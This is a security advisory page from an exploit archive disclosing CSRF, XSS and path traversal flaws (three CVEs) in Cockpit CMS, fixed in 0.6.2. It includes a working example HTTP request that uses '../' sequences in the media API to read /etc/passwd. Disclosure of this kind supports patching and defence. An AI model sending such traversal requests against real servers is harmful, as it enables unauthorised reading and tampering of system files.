what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Cockpit CMS CSRF / XSS / Path Traversal

Cockpit CMS CSRF / XSS / Path Traversal
Posted Oct 12, 2018
Authored by Simon Uvarov

Cockpit CMS suffers from cross site request forgery, cross site scripting, and traversal vulnerabilities. Version 0.6.2 should address these issues.

tags | exploit, vulnerability, xss, file inclusion, csrf
advisories | CVE-2018-15538, CVE-2018-15539, CVE-2018-15540
SHA-256 | df06cf06712dc4427222b72d1c1d4ba09f0aa9874a1d8f29577a2e40ea44e7a8

Cockpit CMS CSRF / XSS / Path Traversal

Change Mirror Download
#1 Path Traversal
CVE-2018-15540
It is possible to read/write/delete files or list directories by using "../" to traverse to other folders via requests to /cockpit/media/api

Example of a vulnerable request:

POST /cockpit/media/api HTTP/1.1
Host: 192.168.5.129
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.5.129/cockpit/finder
Content-Type: application/json; charset=UTF-8
Content-Length: 53
Cookie: 8071dec2be26139e39a170762581c00f=9me02iusm500432871pq0fjls2
Connection: close

{"cmd":"readfile","path":"../../../../../etc/passwd"}

#2 Application Wide CSRF
CVE-2018-15539
The application lacks anti-csrf protection mechanism, thus, an attacker is able to change API tokens and passwords.

#3 Application Wide XSS
CVE-2018-15538
The application is vulnerable to XSS attacks.

The mentioned issues were targeted in the 0.6.2 release.

Regards,
Simon Uvarov


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close